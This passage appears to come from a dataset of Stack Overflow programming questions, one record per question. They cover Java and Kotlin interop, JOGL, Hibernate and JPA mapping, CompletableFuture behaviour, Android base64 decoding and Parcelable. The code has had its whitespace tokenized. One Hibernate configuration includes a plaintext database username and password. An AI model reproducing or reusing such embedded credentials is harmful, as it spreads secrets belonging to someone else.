EncryptedSample.txt '' ; encrypt ( fileName ) ; skipAndCheck ( fileName ) ; } }",skip method in CipherInputStream +Java,I have a simple converter method for an array from boolean to int : Now I have the same method for 2-dimensional arrays : How can I generalize those methods for arrays of arbitrary dimension without writing all the methods by hand ?,public static int [ ] convert1dToInt ( boolean [ ] x ) { int la = x.length ; int [ ] y = new int [ la ] ; for ( int a = 0 ; a < la ; a++ ) { if ( x [ a ] ) { y [ a ] = 1 ; } else { y [ a ] = 0 ; } } return y ; } public static int [ ] [ ] convert2dToInt ( boolean [ ] [ ] x ) { int la = x.length ; int lb = x [ 0 ] .length ; int [ ] [ ] y = new int [ la ] [ lb ] ; for ( int a = 0 ; a < la ; a++ ) { for ( int b = 0 ; b < lb ; b++ ) { if ( x [ a ] [ b ] ) { y [ a ] [ b ] = 1 ; } else { y [ a ] [ b ] = 0 ; } } } return y ; },Array of arbitrary dimension as method parameter +Java,"I have this line of code : This leads to a large list of objects being rendered by openGL , however it only works when used as follows : If I call the line outside the overridden display method I get an Exception saying there is no glContext on the current thread , actually if I call any gl draw commands outside this method I get the same exceptionnow ideally I want to create a lot of display lists once , then render them every frame with the odd display list to be recreated periodically . However I have to go through this single display ( ) method which means I would have to test every frame if the display list has been created , or is in need of change etc ... 60 times a second ! what a waste of processing power when I could handle them separately once when needed.So whatever calling the display ( ) method does , I would like to be able to replicate it allowing me to create a plethora of my own custom display methods , without going through this one method for everything ! So is there a simple gl call I can make myself ?","renderableObject.renderObject ( gl , glu ) ; @ Overridepublic void display ( GLAutoDrawable drawable ) { renderableObject.renderObject ( gl , glu ) ; }",Java : openGL : JOGL : What happens behind the scenes when I call the display ( ) method ? +Java,"I wanted to abstract out getting resources in Android , so I have written a class ResourceProvider that actually provides resources : Nothing special here , just calling methods on Context . I have a problem when I want to get String with parameters , I created following example : Here are String resources : as you can see I 'm calling the same methods directly on Context and on my ResourceProvider class . I would expect the same results , but in fact this is what is printed in console : As you can see calling it directly on Context works without the flaws , but calling the same method with my wrapper makes it print Object.toString ( ) and in second case it crashes.Here is the decompiled version of the getString ( @ StringRes id : Int , vararg formatArgs : Any ) method : What is the problem and how to avid it ?","@ Singletonclass ResourceProvider @ Inject constructor ( private val context : Context ) { fun getString ( @ StringRes id : Int ) : String { return context.getString ( id ) } fun getString ( @ StringRes id : Int , vararg formatArgs : Any ) : String { return context.getString ( id , formatArgs ) } ... } var fromContext = requireContext ( ) .getString ( R.string.one_parameter_string , `` Text '' ) Log.i ( `` fromContext '' , fromContext ) var fromWrapper = resourceProvider.getString ( R.string.one_parameter_string , `` Text '' ) Log.i ( `` fromWrapper '' , fromWrapper ) fromContext = requireContext ( ) .getString ( R.string.two_parameter_string , `` Text '' , `` Text '' ) Log.i ( `` fromContext '' , fromContext ) fromWrapper = resourceProvider.getString ( R.string.two_parameter_string , `` Text '' , `` Text '' ) Log.i ( `` fromWrapper '' , fromWrapper ) < string formatted= '' false '' name= '' two_parameter_string '' > Text with parameters : % s , % s < /string > < string formatted= '' false '' name= '' one_parameter_string '' > Text with parameter : % s < /string > I/fromContext : Text with parameter : TextI/fromWrapper : Text with parameter : [ Ljava.lang.Object ; @ 6d43f06I/fromContext : Text with parameters : Text , TextD/AndroidRuntime : Shutting down VME/AndroidRuntime : FATAL EXCEPTION : main Process : xxx.xxx.xxx , PID : 22963 java.util.MissingFormatArgumentException : Format specifier ' % s ' at java.util.Formatter.format ( Formatter.java:2522 ) at java.util.Formatter.format ( Formatter.java:2458 ) at java.lang.String.format ( String.java:2814 ) at android.content.res.Resources.getString ( Resources.java:472 ) at android.content.Context.getString ( Context.java:572 ) at xxx.xxx.xxx.utils.ResourceProvider.getString ( ResourceProvider.kt:21 ) at xxx.xxx.xxx.views.trial.TrialFragment.onViewCreated ( TrialFragment.kt:45 ) at androidx.fragment.app.FragmentManagerImpl.moveToState ( FragmentManager.java:1471 ) at androidx.fragment.app.FragmentManagerImpl.addAddedFragments ( FragmentManager.java:2646 ) at androidx.fragment.app.FragmentManagerImpl.executeOpsTogether ( FragmentManager.java:2416 ) at androidx.fragment.app.FragmentManagerImpl.removeRedundantOperationsAndExecute ( FragmentManager.java:2372 ) at androidx.fragment.app.FragmentManagerImpl.execPendingActions ( FragmentManager.java:2273 ) at androidx.fragment.app.FragmentManagerImpl $ 1.run ( FragmentManager.java:733 ) at android.os.Handler.handleCallback ( Handler.java:789 ) at android.os.Handler.dispatchMessage ( Handler.java:98 ) at android.os.Looper.loop ( Looper.java:164 ) at android.app.ActivityThread.main ( ActivityThread.java:6944 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.Zygote $ MethodAndArgsCaller.run ( Zygote.java:327 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:1374 ) @ NotNullpublic final String getString ( @ StringRes int id , @ NotNull Object ... formatArgs ) { Intrinsics.checkParameterIsNotNull ( formatArgs , `` formatArgs '' ) ; String var10000 = this.context.getString ( id , new Object [ ] { formatArgs } ) ; Intrinsics.checkExpressionValueIsNotNull ( var10000 , `` context.getString ( id , formatArgs ) '' ) ; return var10000 ; }",Kotlin-Java interop not working with varargs +Java,I have discovered a pattern in my JPA mappings that I would like to codify . A simple example follows : I would like to create a single annotation called SortedOneToMany that I can apply to the above set : I have written the following aspect to `` attach '' the JPA annotations whenever it sees my annotation : But I do n't know how can I access the values of the SortedOneToMany annotation parameters and use them when defining the OneToMany and Sort annotations . There may be cases where I want to change one of the default values like so : So how can I pass the annotation values from SortedOneToMany to the Sort annotation ?,"@ OneToMany ( fetch=FetchType.EAGER ) @ Sort ( type=SortType.NATURAL ) private SortedSet < Item > items ; public @ interface SortedOneToMany { FetchType fetch ( ) default EAGER ; SortType sort ( ) default NATURAL ; Class comparator ( ) default void.class ; } public aspect SortedOneToManyAspect { declare @ field : @ SortedOneToMany * * : @ OneToMany ( fetch=FetchType.EAGER ) ; declare @ field : @ SortedOneToMany * * : @ Sort ( type=SortType.NATURAL ) ; } @ SortedOneToMany ( sort=SortType.COMPARATOR , comparator=ItemComparator.class ) private SortedSet < Item > items ;",Turning one annotation into many annotations with AspectJ +Java,"Using jmap on Ubuntu Mate 18.04-64bits with Oracle JDK 10.0.1-64bits , the tool works only when running both the target and the tool as root , but using the same normal user for running both gives the following error : When using root user to run the following commandeverything works fine but I found some difficulties to understand the meaning of the output columns : Is there any official documentation that explains the meaning of each column ?",Exception in thread `` main '' com.sun.tools.attach.AttachNotSupportedException : Unable to open socket file /proc/13538/cwd/.attach_pid13538 : target process 13538 does n't respond within 10500ms or HotSpot VM not loadedat jdk.attach/sun.tools.attach.VirtualMachineImpl. < init > ( VirtualMachineImpl.java:103 ) at jdk.attach/sun.tools.attach.AttachProviderImpl.attachVirtualMachine ( AttachProviderImpl.java:58 ) at jdk.attach/com.sun.tools.attach.VirtualMachine.attach ( VirtualMachine.java:207 ) at jdk.jcmd/sun.tools.jmap.JMap.executeCommandForPid ( JMap.java:124 ) at jdk.jcmd/sun.tools.jmap.JMap.main ( JMap.java:114 ) jmap -clstats < pid >,jmap tool works only as root and output columns are not clear +Java,"Is it safe for me to write a Java program with imports like this : Note : In my example I import Nashorn , but it could be any other jdk package.Note : I know that it 's safe/correct to import from java . * , javax . * and unsafe/unsupported to import from sun . *I saw a good article here : http : //www.oracle.com/technetwork/java/faq-sun-packages-142232.htmlI ca n't find anywhere in the Java official documentation that tells me one way or anotherthanks",import jdk.nashorn.api.scripting.NashornScriptEngineFactory ; import jdk.nashorn.api.scripting.ClassFilter ;,Java : Is it safe to import from jdk . * ? +Java,"I Have a class as following : I want to convert a list of Class1 to a list of Class2 : :getId ( ) , this is what I tried : Is n't there a way to do this in a single instruction ?",Class1 { private Class2 class2 ; ... } List < Class2 > class2List = class1List.stream ( ) .map ( Class1 : :getClass2 ) .collect ( Collectors.toList ( ) ) ; List < Long > class2Ids = class2List .stream ( ) .map ( Class2 : :getId ) .collect ( Collectors.toList ( ) ) ;,Convert a list of objects to a list of Long +Java,"I 'd like a way to calculate ( x + y ) /2 for any two integers x , y in Java . The naive way suffers from issues if x+y > Integer.MAX_VALUE , or < Integer.MIN_VALUE.Guava IntMath uses this technique : ... but this rounds towards negative infinity , meaning the routine does n't agree with the naive way for values like { -1 , -2 } ( giving -2 , rather than -1 ) .Is there any corresponding routine which truncates towards 0 ? `` Just use long '' is not the answer I 'm looking for , since I want a method that works for long inputs too . BigInteger is also not the answer I 'm looking for . I do n't want a solution with any branches .","public static int mean ( int x , int y ) { // Efficient method for computing the arithmetic mean . // The alternative ( x + y ) / 2 fails for large values . // The alternative ( x + y ) > > > 1 fails for negative values . return ( x & y ) + ( ( x ^ y ) > > 1 ) ; }","Mean of two ints ( or longs ) without overflow , truncating towards 0" +Java,"I am having a hard time consuming an onKeyPressed event . I have a TextField in my app that allows the user to press the [ ENTER ] key for a certain function ; however , I also have a default button specified for the scene.While I can successfully trigger the needed actions for the key pressed while in the TextField , the default button 's action is always executed first . I need to consume the event entirely for the keypress when the user is in the TextField.See the following MCVE : The desired behavior is to be able to type in the textField and press enter . The output should show only - > Enter and the stage should remain.However , what is currently happening is the stage closes with the following output : Do I have the event.consume ( ) call in the wrong place ? I would like to keep the default button as is.EDIT : This only appears to be an issue in JDK 10 . I tried again using JDK 1.8.161 and it behaves as desired . Possible bug in Java 10 ? Bug report submitted : View Bug Report","import javafx.application.Application ; import javafx.geometry.Insets ; import javafx.geometry.Pos ; import javafx.scene.Scene ; import javafx.scene.control.Button ; import javafx.scene.control.ButtonBar ; import javafx.scene.control.TextField ; import javafx.scene.input.KeyCode ; import javafx.scene.layout.VBox ; import javafx.stage.Stage ; public class Main extends Application { public static void main ( String [ ] args ) { launch ( args ) ; } @ Override public void start ( Stage primaryStage ) { // Simple UI VBox root = new VBox ( 10 ) ; root.setPadding ( new Insets ( 10 ) ) ; root.setAlignment ( Pos.CENTER ) ; // TextField TextField textField = new TextField ( ) ; // Capture the [ ENTER ] key textField.setOnKeyPressed ( event - > { if ( event.getCode ( ) == KeyCode.ENTER ) { System.out.println ( `` - > Enter '' ) ; event.consume ( ) ; } } ) ; // Buttons Button btnCancel = new Button ( `` Cancel '' ) ; btnCancel.setCancelButton ( true ) ; btnCancel.setOnAction ( e - > { System.out.println ( `` - > Cancel '' ) ; primaryStage.close ( ) ; } ) ; Button btnSave = new Button ( `` Save '' ) ; btnSave.setDefaultButton ( true ) ; btnSave.setOnAction ( e - > { System.out.println ( `` - > Save '' ) ; primaryStage.close ( ) ; } ) ; ButtonBar buttonBar = new ButtonBar ( ) ; buttonBar.getButtons ( ) .addAll ( btnCancel , btnSave ) ; root.getChildren ( ) .addAll ( textField , buttonBar ) ; primaryStage.setScene ( new Scene ( root ) ) ; primaryStage.setTitle ( `` Consume Event '' ) ; primaryStage.show ( ) ; } } - > Save- > Enter",How to consume KeyPressed event before DefaultButton action ? +Java,"I am migrating an app to Spring Data JPA from Hibernate . I already migrated a few repositories and have that working . I now have a special case I need to convert.I have this in my .hbm.xml : Notice how I only have 1 class SoundNotification , but it is used with 2 different entity-names ( SoundNotificationWithData and SoundNotificationWithoutData ) Is it possible to convert this to Spring Data JPA ? Would I need to create 2 java classes as a `` workaround '' ? Another example which we have is this one : Here we store the same `` Java object '' in different tables after we did some roll-up calculations . I would like to map this using JPA ( or somebody to tell me it is a bad idea and I should use Hibernate directly like before for this )",< class name= '' SoundNotification '' table= '' SoundNotification '' entity-name= '' SoundNotificationWithData '' > < id name= '' m_id '' type= '' int '' column= '' id '' unsaved-value= '' -1 '' > < generator class= '' native '' / > < /id > < property name= '' m_name '' column= '' name '' unique= '' true '' not-null= '' true '' / > < property name= '' m_data '' column= '' data '' type= '' com.traficon.tmsng.server.common.service.persistence.impl.hibernate.usertype.BlobUserType '' not-null= '' true '' / > < property name= '' m_size '' formula= '' OCTET_LENGTH ( data ) '' / > < property name= '' m_inUse '' formula= '' ( select count ( 1 ) from EventTypeConfiguration etc where etc.soundNotification=id ) '' / > < /class > < class name= '' SoundNotification '' table= '' SoundNotification '' entity-name= '' SoundNotificationWithoutData '' > < id name= '' m_id '' type= '' int '' column= '' id '' unsaved-value= '' -1 '' > < generator class= '' native '' / > < /id > < property name= '' m_name '' column= '' name '' unique= '' true '' not-null= '' true '' / > < property name= '' m_size '' formula= '' OCTET_LENGTH ( data ) '' / > < property name= '' m_inUse '' formula= '' ( select count ( 1 ) from EventTypeConfiguration etc where etc.soundNotification=id ) '' / > < /class > < class name= '' FlowDataMessageImpl '' entity-name= '' FlowDataPer10s '' table= '' FlowDataPer10s '' > ... < /class > < class name= '' FlowDataMessageImpl '' entity-name= '' FlowDataPer20s '' table= '' FlowDataPer20s '' > ... . < /class > < class name= '' FlowDataMessageImpl '' entity-name= '' FlowDataPer2m '' table= '' FlowDataPer2m '' > ... < /class >,How to migrate same class with 2 entity-names to Spring Data JPA ? +Java,So I have this codeSo all of them are the same functionality but upon getting and using an array value it is giving me a compile time error . What is the cause of this ? ? then why can I do this ?,"char [ ] a = { ' a ' , ' b ' , ' c ' } ; char c = ' a ' + ' b ' ; //workschar c2 = 98 + 97 ; //workschar c3 = a [ 0 ] + a [ 1 ] ; //compile time error The result of the additive operator applied two char operands is an int . char c2 = ( int ) ( ( int ) 98 + ( int ) 97 ) ;",Char array compile time error upon assign a value from array +Java,"In the problem , I parse the input ( integer ) and simultaneously check if it exists in the data structure , if not then add it.Input is - 2 integers separated by space of size > =1 and < = 1000000I tried using HashMap , TreeMap ( put ( ) and containsValue ( ) method ) - but it seems they are taking too much time . ( 5 out of 10 test cases are exceeding time limit ) When using ArrayList ( add ( ) and contains ( ) method ) - ( 4 out of 10 test cases exceeded the time limit ) These operations are to be performed inside 2nd for loop , inside an if condition.iterations may varies as follows : -1st for loop - 1 to 102nd for loop - 1 to 100000so i guess for higher order iteration in 2nd loop it exceeds time limit.Is there any other way i could perform this task in lesser time . Problem : A Monk encounters N ponds and at each pond a fooditem ( input 1 ) and a pokemon ( input 2 ) is found .The monk can feed the item at the i'th pond to the Pokemon at the pond if the type matches . Monk may have to carry some food items with him before leaving so as to feed all the Pokemons . Help him find the number of items he must carry , to be to able to pass through the land safely.ExplanationAt First Pond he gets item of type1 and feeds it to the Pokemon of type1.At Second Pond he gets item of type 2 and feeds it to the Pokemon of type2.At Third Pond he gets item of type 3 , but the Pokemon is of type4 . Hence , he has to bring a food item of type 4 with him.At Fourth Pond he gets item of type 4 . He already has a item of type 3 and feeds it to the Pokemon . At Fifth Pond he gets items of type 2 . He already has a item of type 4 and feeds it to the Pokemon at this pond","class TestClass { public static void main ( String args [ ] ) throws Exception { BufferedReader br = new BufferedReader ( new InputStreamReader ( System.in ) ) ; int T = Integer.parseInt ( br.readLine ( ) ) ; if ( T < =10 & & T > =1 ) { for ( int i = 0 ; i < T ; i++ ) { int count=0 ; int numOfPonds = Integer.parseInt ( br.readLine ( ) ) ; if ( numOfPonds < =100000 & & numOfPonds > =1 ) { String [ ] str ; Map m = new HashMap ( ) ; //List l = new ArrayList ( ) ; for ( int j=0 ; j < numOfPonds ; j++ ) { str = br.readLine ( ) .split ( `` `` ) ; int foodType = Integer.parseInt ( str [ 0 ] ) ; int PokeType = Integer.parseInt ( str [ 1 ] ) ; if ( foodType < =1000000 & & PokeType < =1000000 & & foodType > =1 & & PokeType > =1 & & foodType ! = PokeType ) { m.put ( j , foodType ) ; //l.add ( foodType ) ; //if ( ! ( l.contains ( PokeType ) ) ) if ( ! ( m.containsValue ( PokeType ) ) ) count++ ; //else if ( l.contains ( PokeType ) ) else if ( m.containsValue ( PokeType ) ) { m.values ( ) .remove ( PokeType ) ; // l.remove ( Integer.valueOf ( PokeType ) ) ; } } } } System.out.println ( count ) ; } } } }",Data Structure for faster contains ( ) operation ? +Java,"hello I have a list of objects my object have three fieldsI need to convert this list into a Map < String , Map < String , Integer > > that is like this : { x1 : { y1 : z1 , y2 : z2 , y3 : z3 } , x2 { y4 : z4 , y5 : z5 } } format I want to do this in Java 8 which I think I am relatively new to it.I have tried the following : this does not even compile . help is much appreciated","class MyObject { String x ; String y ; int z ; //getters n setters } Map < String , Map < String , Integer > > map=list.stream ( ) . collect ( Collectors . groupingBy ( MyObject : :getX , list.stream ( ) . collect ( Collectors.groupingBy ( MyObject : :getY , Collectors.summingInt ( MyObject : :getZ ) ) ) ) ) ;","convert list of object into a map of < String , Map < String , Integer > > java8 streams" +Java,"so I 'm trying to get my Java Application to connect to SQL Server 2012 through the Microsoft JDBC Driver 4.0 for SQL Server , and everything seems to be going well but hibernate just keeps coming back with NullExceptions and wo n't execute anything within the try/catch ( hence the NullException ) , I have absolutely no idea why . Here is the pastebin from netbeans console ( e.getMessage ( ) ) running hibernate ( for the purposes of this question , I am using an example table called prime_table ) .In the pastebin log , you 'll notice ... Feb 11 , 2013 5:21:04 PM org.hibernate.cfg.Configuration doConfigure INFO : Configured SessionFactory : nullany ideas on why this is occuring ? ( I 'm not sure , but it may be relevant to the overall stack trace ) .Other logs ( During JSP build ) Netbeans ( run ) Apache tomcatApache tomcat logSql server ERRORLOG.logHibernate throwable stacktrace ( Update 2/14/2013 ) All logs will be available up until Mid/Late March 2013Resources , I 've been readingHibernate Example [ Help ] Null Pointer Exception in session.flush ( ) Hibernatehibernate.cfg.xml not foundhibernate map java Long to MySQL BIGINT errorPre Configured Netbeans Project Setup commandline : tree /f ( source : iforce.co.nz ) Hibernate.cfg.xml ( Added `` hibernate.cache.provider_class '' as suggested by Hari ) Primeprime.hbm.xmlPrime TableSession function or FirstExample.javaAs far as I know everything should be correct , and I should be able to insert records from Java Hibernate to my SQL database . But for some reason I ca n't : -/UPDATE : Hibernate on its own , runs fine . But in conjunction with Spring , these errors occur . ( More information in comments ) .","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ! DOCTYPE hibernate-configuration PUBLIC `` -//Hibernate/Hibernate Configuration DTD 3.0//EN '' `` http : //hibernate.sourceforge.net/hibernate-configuration-3.0.dtd '' > < hibernate-configuration > < session-factory > < property name= '' hibernate.cache.provider_class '' > org.hibernate.cache.HashtableCacheProvider < /property > < property name= '' hibernate.connection.driver_class '' > com.microsoft.sqlserver.jdbc.SQLServerDriver < /property > < property name= '' hibernate.connection.url '' > jdbc : sqlserver : //Michael-PC:1433 ; databaseName=PrimeDB < /property > < property name= '' hibernate.connection.username '' > sa < /property > < property name= '' hibernate.connection.password '' > online12 < /property > < property name= '' hibernate.connection.pool_size '' > 10 < /property > < property name= '' hibernate.dialect '' > org.hibernate.dialect.SQLServerDialect < /property > < property name= '' hibernate.show_sql '' > true < /property > < property name= '' hibernate.hbm2ddl.auto '' > update < /property > < ! -- Data Mappings -- > < mapping resource= '' prime.hbm.xml '' / > < /session-factory > < /hibernate-configuration > public class Prime { private long prime ; public void setPrime ( long nPrime ) { this.prime = nPrime ; } public long getPrime ( ) { return this.prime ; } } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ! DOCTYPE hibernate-mapping PUBLIC `` -//Hibernate/Hibernate Mapping DTD 3.0//EN '' `` http : //hibernate.sourceforge.net/hibernate-mapping-3.0.dtd '' > < hibernate-mapping > < class name= '' nz.co.xyleap.db.Prime '' table= '' prime_table '' > < id name= '' prime '' type= '' long '' column= '' prime '' / > < /class > < /hibernate-mapping > CREATE TABLE prime_table ( [ prime ] bigint PRIMARY KEY NOT NULL , ) public class FirstExample { public static void main ( String [ ] args ) { FirstExample ex = new FirstExample ( ) ; ex.session ( ) ; } public void session ( ) { Session session = null ; try { // This step will read hibernate.cfg.xml and prepare hibernate for use SessionFactory sessionFactory = new Configuration ( ) .configure ( ) .buildSessionFactory ( ) ; session = sessionFactory.openSession ( ) ; session.beginTransaction ( ) ; //Create new instance of Contact and set values in it by reading them from form object System.out.println ( `` inserting record 13 '' ) ; Prime p = new Prime ( ) ; p.setPrime ( 13 ) ; session.save ( p ) ; System.out.println ( `` Done '' ) ; } catch ( Exception e ) { System.out.println ( e.getMessage ( ) ) ; } finally { // Actual contact insertion will happen at this step session.flush ( ) ; session.close ( ) ; } } }",pre configured netbeans project with NoSuchMethodError hibernate and spring conflict +Java,What are the precedence rules for try-with-resource construct ? Here is an example ( note : all the mentioned classes implement Closeable ) : When is the callback run ? My assumptions is : closing the SequenceWriterclosing the PipedOutputStreamclosing the Pagerunning the callbackAm I wrong here ?,try ( Page closeablePage = page ; PipedOutputStream out = outs ; SequenceWriter sequenceWriter = mapper.writer ( ) .writeValuesAsArray ( out ) ) { // do stuff } finally { callback.run ( ) ; },try-with-resource vs finally precedence +Java,Is there any difference between the order : or ?,public static final String = `` something '' ; public final static String = `` something '' ;,Does the order of keywords in variable definition matter ? +Java,"I have a class Values : And a list of multiple maps of type Map < String , Values > There could be any number of maps and any number of entries inside the maps , but the keys for the maps are always the same , only the values can differ . My example contains only 2 maps and only 3 entries for each map for clarity . I want to obtain a single map with the same keys and with the Values objects as the sum of each `` count '' and each `` value '' in the objects , like this : I am trying to achieve this using the Streams API , but I am stuck : How can I group each entry by their keys and add up each count and each value into a single map ? Thank you in advance .","public class Values { private int count ; private int values ; } Map < String , Values > map1 = new HashMap < > ( ) ; map1 .put ( `` aaa '' , new Values ( 1 , 10 ) ) ; map1 .put ( `` bbb '' , new Values ( 5 , 50 ) ) ; map1 .put ( `` ccc '' , new Values ( 2 , 30 ) ) ; Map < String , Values > map2= new HashMap < > ( ) ; map2.put ( `` aaa '' , new Values ( 2 , 20 ) ) ; map2.put ( `` bbb '' , new Values ( 3 , 50 ) ) ; map2.put ( `` ccc '' , new Values ( 3 , 10 ) ) ; List < Map < String , Values > > list = Arrays.asList ( map1 , map2 ) ; { aaa= { count = 3 , value = 30 } , bbb= { count = 8 , value = 100 } , ccc= { count = 6 , value = 40 } } public static Map < String , Values > mergeMaps ( List < Map < String , Values > > maps ) { return maps.stream ( ) .flatMap ( m - > m.entrySet ( ) .stream ( ) ) ... ? }",Merge list of maps into a single map by summing values +Java,"So , I 'm trying to implement a Data Structure to handle Dynamic Order Statistic . The Data Structure has following operations : add ( x ) : inserts a new element with value xget ( k ) : returns the k-th smallest element : k = ceiling ( n/a ) , where n = amount of elements in the data structure and a = constant factor.reset : resets the whole datastructuer , i.e . the data structure is `` empty after itI implemented my data structure using a balanced AVL tree . Using this the operations have following time complexity : add ( x ) : O ( log ( n ) ) get ( k ) : O ( log ( n ) ) Here is my implemenation for the get ( k ) which uses O ( log ( n ) ) time : And here 's my implementation for the node class : } However , my task is to implement a data structure that can handle the above operations and only taking O ( 1 ) ( constant ) time for the operation get ( k ) . ( And add ( x ) still taking O ( log ( n ) ) time ) . Also , I 'm not allowed to use a hashmap.Is it possible to modify my implementation in order to get constant time ? Or , what kind of datastructure can handle the get ( k ) operation in constant time ?","public static int get ( Node current , int k ) { int l = tree.sizeLeft ( current ) + 1 ; if ( k == l ) { return current.value ; } else if ( k < l ) { if ( current.left == null ) { return current.value ; } return get ( current.left , k ) ; } else { if ( current.right == null ) { return current.value ; } return get ( current.right , k ) ; } } class Node { int height , value , bal , size ; // bal = balanceFactor , size = amount of nodes in tree rooted at current nodeNode leftChild = null ; Node rightChild = null ; public Node ( int val ) { value = val ; height = 1 ; size = 1 ; }",Dynamic order statistic : get k-th element in constant time ? +Java,"I ca n't figure out how to use polymorohism when writing/reading from parcel . I understand that I need to implement Parcelable in base class , and also in all derived classes ( in the case that subclasses have additional properties that I would want to write into parcel ) . What I do n't understand and what I do n't know if it 's even possible is - how to read subclass from Parcelable i.e. , how do I know what kind of subclass I am reading from parcel . I can do some hack like writing some indicator into parcel that would tell me what class loader to use , but I thought there would be some more elegant way , otherwise there is no much use of polymorphism . To illustrate my question , let say I have classes like this : Shape.classRectangleShape.classCircleShape.classNow , in some other class I have something like this : Is there any way that i can `` tell '' android when writing into parcel what subclass it is , without implicit check of instance type ?","public class Shape implements Parcelable { public float area ; public Shape ( ) { } public Shape ( Parcel in ) { area = in.readFloat ( ) ; } public void writeToParcel ( Parcel dest , int flags ) { dest.writeFloat ( area ) ; } //CREATOR etc.. } public class RectangleShape extends Shape { float a ; float b ; public RectangleShape ( Parcel in ) { super ( in ) ; a = in.readFloat ( ) ; b = in.readFloat ( ) ; } public void writeToParcel ( Parcel dest , int flags ) { dest.writeFloat ( area ) ; dest.writeFloat ( a ) ; dest.writeFloat ( b ) ; } //CREATOR etc.. } public static class CircleShape extends Shape { float r ; public CircleShape ( Parcel in ) { super ( in ) ; r = in.readFloat ( ) ; } public void writeToParcel ( Parcel dest , int flags ) { dest.writeFloat ( area ) ; dest.writeFloat ( r ) ; } //CREATOR etc.. } public class Geometry implements Parcelable { Shape myShape ; public Geometry ( boolean condition ) { if ( condition ) myShape = new CircleShape ( 4.5 ) ; else myShape = new RectangleShape ( 3.4 , 3.5 ) ; } @ Override public Geometry ( Parcel in ) { in.readParcelable ( ? ? ? - **how do I know what class loader to put here ? ** ) } @ Override public void writeToParcel ( Parcel dest , int flags ) { dest.writeParcelable ( myShape , flags ) ; } //CREATOR etc.. }",Android - polymorphism and Parcelable +Java,"I am decoding base 64 encoded images on Android ( Java ) . It works for most of the images , but for some of the image binaries it returns null . If I use an online decoder , the binary in question works fine , which tells me the format is correct . The piece of code on the Base64.class file that messes up is For the images that fail , it goes through the maybe we got lucky check , and returns decoder.output and directly jumps to return temp , which inturn returns null . But for the images that work it does not enter that if and returns a non null temp variable . Is there a known issue with this ? UPDATEInvoking codeEDITTurns out that the method is returning a value . Thanks @ DavidEhrmann for the help . The error is actually in the next step where I am converting the decodestring into a bitmap . Here bm is returning null ! Basically this callis null but since opts ! = null & & opts.inBitmap ! = null are not true it does not throw the IllegalArgumentException and just returns bm as null . Any ideas why ? UPDATEI see an error in the log which says Skia -- decoder decode returns false . I 've tried every answer to every such question on SO and its still not working . My Base64 code : http : //pastebin.com/pnbqqg97If its posted on a website that decodes online , it spits out the right image , but the bitmap decoder fails . UPDATE - SOLUTION TO MY PROBLEMAs it turns out , the binary encoding was being done on a PNG file , and then being reconverted back into a bmp file , bmp to bmp seems to work in all cases . But I am surprises some png 's converted also work ! BUt for me having the original image as a bmp is a problem because of the size , is there a way I can decode a PNG base 64 in Android reliably without using the BitMap factory > ? ANSWERTurns out the image was actually invalid at one character point : O But it for some reason wasnt picked up by the online decoder but was in the code shown above . Make sure you check the code to see that you are not replacing any of the image base64 characters . Even one off can set it to go haywire as I found out","if ( ! decoder.process ( input , offset , len , true ) ) { throw new IllegalArgumentException ( `` bad base-64 '' ) ; } // Maybe we got lucky and allocated exactly enough output space.if ( decoder.op == decoder.output.length ) { return decoder.output ; } // Need to shorten the array , so allocate a new one of the// right size and copy.byte [ ] temp = new byte [ decoder.op ] ; System.arraycopy ( decoder.output , 0 , temp , 0 , decoder.op ) ; return temp ; //This decodedString is null byte [ ] decodedString = Base64.decode ( data , Base64.DEFAULT ) ; Bitmap setBMPPath = BitmapFactory.decodeByteArray ( decodedString , 0 , decodedString.length ) ; qImage.setImageBitmap ( setBMPPath ) ; public static Bitmap decodeByteArray ( byte [ ] data , int offset , int length , Options opts ) { if ( ( offset | length ) < 0 || data.length < offset + length ) { throw new ArrayIndexOutOfBoundsException ( ) ; } Bitmap bm = nativeDecodeByteArray ( data , offset , length , opts ) ; if ( bm == null & & opts ! = null & & opts.inBitmap ! = null ) { throw new IllegalArgumentException ( `` Problem decoding into existing bitmap '' ) ; } return bm ; } Bitmap bm = nativeDecodeByteArray ( data , offset , length , opts ) ;",Problems with NativeDecodeByteArray in Android Bitmap.class +Java,"While answering this question , I noticed a strange behaviour of CompletableFuture : if you have a CompletableFuture cf and chain a call with cf.exceptionally ( ) , calling cf.get ( ) appears to behave strangely : if you call it before exceptional completion , it waits for the execution of the exceptionally ( ) block before returningotherwise , it fails immediately by throwing the expected ExecutionExceptionAm I missing something or is this a bug ? I am using Oracle JDK 1.8.0_131 on Ubuntu 17.04.The following code illustrates this phenomenon : Output : As you can see , futureB which sleeps a bit before calling get ( ) does not block at all . However , both futureA and the main thread wait for exceptionally ( ) to complete.Note that this behaviour does not occur if you remove the .thenApply ( Function.identity ( ) ) .","public static void main ( String [ ] args ) { long start = System.currentTimeMillis ( ) ; final CompletableFuture < Object > future = CompletableFuture.supplyAsync ( ( ) - > { sleep ( 1000 ) ; throw new RuntimeException ( `` First '' ) ; } ) .thenApply ( Function.identity ( ) ) ; future.exceptionally ( e - > { sleep ( 1000 ) ; logDuration ( start , `` Exceptionally '' ) ; return null ; } ) ; final CompletableFuture < Void > futureA = CompletableFuture.runAsync ( ( ) - > { try { future.get ( ) ; } catch ( Exception e ) { } finally { logDuration ( start , `` A '' ) ; } } ) ; final CompletableFuture < Void > futureB = CompletableFuture.runAsync ( ( ) - > { sleep ( 1100 ) ; try { future.get ( ) ; } catch ( Exception e ) { } finally { logDuration ( start , `` B '' ) ; } } ) ; try { future.join ( ) ; } catch ( Exception e ) { logDuration ( start , `` Main '' ) ; } futureA.join ( ) ; futureB.join ( ) ; } private static void sleep ( final int millis ) { try { Thread.sleep ( millis ) ; } catch ( InterruptedException e ) { Thread.currentThread ( ) .interrupt ( ) ; } } private static void logDuration ( long start , String who ) { System.out.println ( who + `` waited for `` + ( System.currentTimeMillis ( ) - start ) + `` ms '' ) ; } B waited for 1347msExceptionally waited for 2230msMain waited for 2230msA waited for 2230ms",Why calling get ( ) before exceptional completion waits for exceptionally to execute ? +Java,"Disclaimer : I 'm new to StackOverflow , at least in terms of asking my own questions , so if there 's anything wrong or 'bad practice ' about this one please give me some pointers.Recently at work I 've had cause to use Selenium and , being new to the tool , there have been a few times when I 've wound up scratching my head over why something is done a certain way . Usually the reason becomes apparent later , but not in this case.Currently I 'm writing some browser automation which involves indexing search combinations and noting how many results appear for that combination on various sites related to the company I 'm working for.For most of these sites 